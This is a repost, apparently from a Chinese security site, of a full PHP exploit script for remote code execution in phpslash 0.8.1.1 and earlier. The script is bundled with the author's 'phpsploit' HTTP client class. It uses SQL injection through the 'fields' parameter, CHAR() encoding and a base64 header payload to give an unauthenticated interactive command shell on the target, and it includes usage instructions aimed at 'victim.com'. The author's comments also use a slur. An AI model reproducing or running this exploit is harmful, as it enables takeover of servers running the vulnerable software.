phpslash <= 0.8.1.1 Remote Code Execution Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

phpslash <= 0.8.1.1 Remote Code Execution Exploit

来源：www.vfcocus.net 作者：darkfig 发布时间：2009-02-03

#!/usr/bin/php -q
<?php
#
# phpslash <= 0.8.1.1 Remote Code Execution Exploit
# - - - - - - - - - - - - - - - - - - - - - - - - -
# RCE with no special rights (guest).
# No special PHP conditions required.
# - - - - - - - - - - - - - - - - - - - - - - - - -
# #0 It was a private sploit, but I decided to publish
# it #1 You did the fag on that one bro, it will not happen
# again =). #2 Don't try to use it on hzv, I helped them
# to patch this one before I publish it =)
# - - - - - - - - - - - - - - - - - - - - - - - - -
# Exploitation steps:
# 1 - include/class/tz_functions.inc tz_strftime()
# 2 - include/class/tz_functions.inc tz_generic()
# 3 - include/tz_env.class           generic()
#
error_reporting( E_ALL ^ E_NOTICE );

// Main function
function main()
{
// :)
$web = new phpsploit();
$web->agent( 'Mozilla Firefox' );

// Hey ya :)
head();

// Target
$url = get_p( 'url', true );

// Proxy options
$prh = get_p( 'proxhost' );
$pra = get_p( 'proxauth' );

// Use a proxy ?
if( $prh )
{
// host:ip
$web->proxy( $prh );

// Authentication
if( $pra )
$web->proxyauth( $pra );
}

// Single quote bypass
$byp = "1');";

// PHP code
$php = 'eval(base64_decode($_SERVER[HTTP_MYPCODE]));';

// Separator
$s_sep = md5( rand( 0, 1000000000 ) . 'HEY_YA' );
$c_sep = "print('$s_sep');";

// Final PHP code
$final = $byp . $c_sep . $php . $c_sep . 'exit();//';

// Welcome guess !
while( ($cmd = cmd_prompt()) !== false )
{
// magic_quotes_gpc bypass
$web->addheader( 'MypCode', base64_encode( 'system("' . add_slashes($cmd) . '");' ) );

// Go =]
$web->get( $url . 'index.php?fields=' . to_char( $final ) . ',1' );

// Result
$res = explode( $s_sep, $web->getcontent() );

// Erf
if( !isset( $res[1] ) )
{
print "\nFailed";
exit(1);
}
// Cool
else
{
if( empty( $res[1] ) )
print "\nNo output: system() disabled OR cmd failed OR cmd without output";

else
print "\n" . $res[1];
}
}

return;
}

// No more bug with " and $
function add_slashes( $str )
{
return str_replace( '$', '\\$', addslashes( $str ) );
}

// Command prompt
function cmd_prompt()
{
print "\nshell>";

$cmd = trim( fgets( STDIN ) );

// Wanna stop =( ?
if( in_array( strtolower( $cmd ) , array( 'exit', 'quit' ) ) )
return false;

else
return $cmd;
}

// MySQL CHAR() encoding
function to_char( $data )
{
$chars = 'CHAR(';
$len   = strlen( $data );

for( $i = 0; $i < $len; $i++ )
{
$chars .= ord( $data[ $i ] );

if( $i != $len-1 )
$chars .= ',';
}

return $chars . ')';
}

// CLI params
function get_p( $p, $exit = false )
{
foreach( $_SERVER['argv'] as $key => $value )
{
if( $value === '-' . $p )
{
if( isset( $_SERVER['argv'][ $key+1 ] ) &&
   !empty( $_SERVER['argv'][ $key+1 ] ) )
{
return $_SERVER['argv'][ $key+1 ];
}
else
{
if( $exit )
usage();

return true;
}
}
}

if( $exit )
usage();

return false;
}

// Headers =)
function head()
{
print "\nphpslash <= 0.8.1.1 Remote Code Execution Exploit\n";
print "-------------------------------------------------\n\n";
print " About: \n";
print " by DarkFig < gmdarkfig (at) gmail (dot) com >\n";
print " http://acid-root.new.fr/\n";
print " #acidroot@irc.worldnet.net\n\n";

return;
}

// Usage, can help..
function usage()
{
print " Usage:\n";
print " php spl.php -url <website> [options]\n\n";
print " Example:\n";
print " php spl.php -url http://victim.com/\n\n";
print " Options:\n";
print " -proxhost <ip:port> if you wanna use a proxy\n";
print " -proxauth <usr:pwd> proxy with authentication\n";

exit(0);
}

// Run baby
main();

/*
*
* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* TITLE:          PhpSploit Class
* REQUIREMENTS:   PHP 4 / PHP 5
* VERSION:        2.1
* LICENSE:        GNU General Public License
* ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME:       phpsploitclass.php
*
* CONTACT:        gmdarkfig@gmail.com (french / english)
* GREETZ:         Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
*
* [2008-08-29] (2.1)
* * New: The showheader()/showcookie() functions can now return an array
* * Bug #3 fixed: Problem concerning some servers for the main function
*
* [2007-06-10] (2.0)
* * Code: Code optimization
* * New: Compatible with PHP 4 by default
*
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
*/

class phpsploit
{
var $proxyhost;
var $proxyport;
var $host;
var $path;
var $port;
var $method;
var $url;
var $packet;
var $proxyuser;
var $proxypass;
var $header;
var $cookie;
var $data;
var $boundary;
var $allowredirection;
var $last_redirection;
var $cookiejar;
var $recv;
var $cookie_str;
var $header_str;
var $server_content;
var $server_header;

/**
* This function is called by the
* get()/post()/formdata() functions.
* You don't have to call it, this is
* the main function.
*
* @access private
* @return string $this->recv ServerResponse
*
*/
function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport))
   $socket = @fsockopen($this->proxyhost,$this->proxyport);
else
   $socket = @fsockopen($this->host,$this->port);

if(!$socket)
   die("Error: Host seems down");

if($this->method=='get')
   $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";

elseif($this->method=='post' or $this->method=='formdata')
   $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";

else
   die("Error: Invalid method");

if(!empty($this->proxyuser))
   $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";

if(!empty($this->header))
   $this->packet .= $this->showheader();

if(!empty($this->cookie))
   $this->packet .= 'Cookie: '.$this->showcookie()."\r\n";

$this->packet .= 'Host: '.$this->host."\r\n";
$this->packet .= "Connection: Close\r\n";

if($this->method=='post')
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method=='formdata')
{
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}

$this->packet .= "\r\n";
$this->recv = '';

fputs($socket, $this->packet);

while(!feof($socket))
   $this->recv .= fgets($socket);

fclose($socket);

if($this->cookiejar)
   $this->getcookie();

if($this->allowredirection)
   return $this->getredirection();
else
   return $this->recv;
}

/**
* This function allows you to add several
* cookies in the request.
*
* @access public
* @param   string cookn CookieName
* @param   string cookv CookieValue
* @example $this->addcookie('name','value')
*
*/
function addcookie($cookn,$cookv)
{
if(!isset($this->cookie))
   $this->cookie = array();

$this->cookie[$cookn] = $cookv;
}

/**
* This function allows you to add several
* headers in the request.
*
* @access public
* @param   string headern HeaderName
* @param   string headervalue Headervalue
* @example $this->addheader('Client-IP', '128.5.2.3')
*
*/
function addheader($headern,$headervalue)
{
if(!isset($this->header))
   $this->header = array();

$this->header[$headern] = $headervalue;
}

/**
* This function allows you to use an
* http proxy server. Several methods
* are supported.
*
* @access public
* @param   string proxy ProxyHost
* @param   integer proxyp ProxyPort
* @example $this->proxy('localhost',8118)
* @example $this->proxy('localhost:8118')
*
*/
function proxy($proxy,$proxyp='')
{
if(empty($proxyp))
{
$proxarr = explode(':',$proxy);
$this->proxyhost = $proxarr[0];
$this->proxyport = (int)$proxarr[1];
}
else
{
$this->proxyhost = $proxy;
$this->proxyport = (int)$proxyp;
}

if($this->proxyport > 65535)
   die("Error: Invalid port number");
}

/**
* This function allows you to use an
* http proxy server which requires a
* basic authentification. Several
* methods are supported:
*
* @access public
* @param   string proxyauth ProxyUser
* @param   string proxypass ProxyPass
* @example $this->proxyauth('user','pwd')
* @example $this->proxyauth('user:pwd');
*
*/
function proxyauth($proxyauth,$proxypass='')
{
if(empty($proxypass))
{
$posvirg = strpos($proxyauth,':');
$this->proxyuser = substr($proxyauth,0,$posvirg);
$this->proxypass = substr($proxyauth,$posvirg+1);
}
else
{
$this->proxyuser = $proxyauth;
$this->proxypass = $proxypass;
}
}

/**
* This function allows you to set
* the 'User-Agent' header.
*
* @access public
* @param   string useragent Agent
* @example $this->agent('Firefox')
*
*/
function agent($useragent)
{
$this->addheader('User-Agent',$useragent);
}

/**
* This function returns the headers
* which will be in the next request.
*
* @access public
* @return string $this->header_str Headers
* @return array $this->head Headers
* @example $this->showheader()
* @example $this->showheader(1)
*
*/
function showheader($array='')
{
$this->header_str = '';

if(!isset($this->header))
   return;

if(!empty($array))
return $this->header;

foreach($this->header as $name => $value)
   $this->header_str .= $name.': '.$value."\r\n";

return $this->header_str;
}

/**
* This function returns the cookies
* which will be in the next request.
*
* @access public
* @return string $this->cookie_str Cookies
* @return array $this->cookie Cookies
* @example $this->showcookie()
* @example $this->showcookie(1)
*
*/
function showcookie($array='')
{
if(!isset($this->cookie))
   return;

if(!empty($array))
return $this->cookie;

$this->cookie_str = '';

foreach($this->cookie as $name => $value)
   $this->cookie_str .= $name.'='.$value.'; ';

return $this->cookie_str;
}

/**
* This function returns the last
* formed http request.
*
* @access public
* @return string $this->packet HttpPacket
* @example $this->showlastrequest()
*
*/
function showlastrequest()
{
if(!isset($this->packet))
   return;
else
   return $this->packet;
}

/**
* This function sends the formed
* http packet with the GET method.
*
* @access public
* @param   string url Url
* @return string $this->sock()
* @example $this->get('localhost/index.php?var=x')
* @example $this->get('http://localhost:88/tst.php')
*
*/
function get($url)
{
$this->target($url);
$this->method = 'get';
return $this->sock();
}

/**
* This function sends the formed
* http packet with the POST method.
*
* @access public
* @param   string url Url
* @param   string data PostData
* @return string $this->sock()
* @example $this->post('http://localhost/','helo=x')
*
*/
function post($url,$data)
{
$this->target($url);
$this->method = 'post';
$this->data = $data;
return $this->sock();
}

/**
* This function sends the formed http
* packet with the POST method using
* the multipart/form-data enctype.
*
* @access public
* @param   array array FormDataArray
* @return string $this->sock()
* @example $formdata = array(
*                      frmdt_url => 'http://localhost/upload.php',
*                      frmdt_boundary => '123456', # Optional
*                      'var' => 'example',
*                      'file' => array(
*                                frmdt_type => 'image/gif', # Optional
*                                frmdt_transfert => 'binary' # Optional
*                                frmdt_filename => 'hello.php,
*                                frmdt_content => '<?php echo 1; ?>'));
*          $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';

if(!isset($array[frmdt_boundary]))
   $this->boundary = 'phpsploit';
else
   $this->boundary = $array[frmdt_boundary];

foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';

if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

if(isset($array[$key][frmdt_type]))
   $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

if(isset($array[$key][frmdt_transfert]))
   $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}

$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
return $this->sock();
}

/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access public
* @param   string code ServerResponse
* @return string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->get('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
   $code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_content = '';

for($i=1;$i<count($code);$i++)
   $this->server_content .= $code[$i];

return $this->server_content;
}

/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access public
* @param   string code ServerResponse
* @return string $this->server_header
* @example $this->getcontent()
* @example $this->getcontent($this->post('http://localhost/','1=2'))
*
*/
function getheader($code='')
{
if(empty($code))
   $code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_header = $code[0];

return $this->server_header;
}

/**
* This function is called by the
* cookiejar() function. It adds the
* value of the "Set-Cookie" header
* in the "Cookie" header for the
* next request. You don't have to
* call it.
*
* @access private
* @param string code ServerResponse
*
*/
function getcookie()
{
foreach(explode("\r\n",$this->getheader()) as $header)
{
if(preg_match('/set-cookie/i',$header))
{
$fequal = strpos($header,'=');
$fvirgu = strpos($header,';');

// 12=strlen('set-cookie: ')
$cname = substr($header,12,$fequal-12);
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));

$this->cookie[trim($cname)] = trim($cvalu);
}
}
}

/**
* This function is called by the
* get()/post() functions. You
* don't have to call it.
*
* @access private
* @param   string urltarg Url
* @example $this->target('http://localhost/')
*
*/
function target($urltarg)
{
if(!ereg('^http://',$urltarg))
   $urltarg = 'http://'.$urltarg;

$urlarr = parse_url($urltarg);

if(!isset($urlarr['path']) || empty($urlarr['path']))
   die("Error: No path precised");

$this->url = $urlarr['path'];

if(isset($urlarr['query']))
   $this->url .= '?'.$urlarr['query'];

$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
$this->host = $urlarr['host'];

if($this->port != '80')
   $this->host .= ':'.$this->port;

$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

if($this->port > 65535)
   die("Error: Invalid port number");
}

/**
* If you call this function,
* the script will extract all
* 'Set-Cookie' headers values
* and it will automatically add
* them into the 'Cookie' header
* for all next requests.
*
* @access public
* @param   integer code 1(enabled) 0(disabled)
* @example $this->cookiejar(0)
* @example $this->cookiejar(1)
*
*/
function cookiejar($code)
{
if($code=='0')
   $this->cookiejar=FALSE;

elseif($code=='1')
   $this->cookiejar=TRUE;
}

/**
* If you call this function,
* the script will follow all
* redirections sent by the server.
*
* @access public
* @param   integer code 1(enabled) 0(disabled)
* @example $this->allowredirection(0)
* @example $this->allowredirection(1)
*
*/
function allowredirection($code)
{
if($code=='0')
   $this->allowredirection=FALSE;

elseif($code=='1')
   $this->allowredirection=TRUE;
}

/**
* This function is called if
* allowredirection() is enabled.
* You don't have to call it.
*
* @access private
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
* @return string $this->get($this->last_redirection)
* @return string $this->recv;
*
*/
function getredirection()
{
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
{
$this->last_redirection = trim($codearr[2]);

if(!ereg('://',$this->last_redirection))
   return $this->get('http://'.$this->host.$this->path.$this->last_redirection);

else
   return $this->get($this->last_redirection);
}
else
   return $this->recv;
}

/**
* This function allows you
* to reset some parameters.
*
* @access public
* @param   string func Param
* @example $this->reset('header')
* @example $this->reset('cookie')
* @example $this->reset()
*
*/
function reset($func='')
{
switch($func)
{
case 'header':
$this->header = array();
break;

case 'cookie':
$this->cookie = array();
break;

default:
$this->cookiejar = '';
$this->header = array();
$this->cookie = array();
$this->allowredirection = '';
break;
}
}
}

?>

[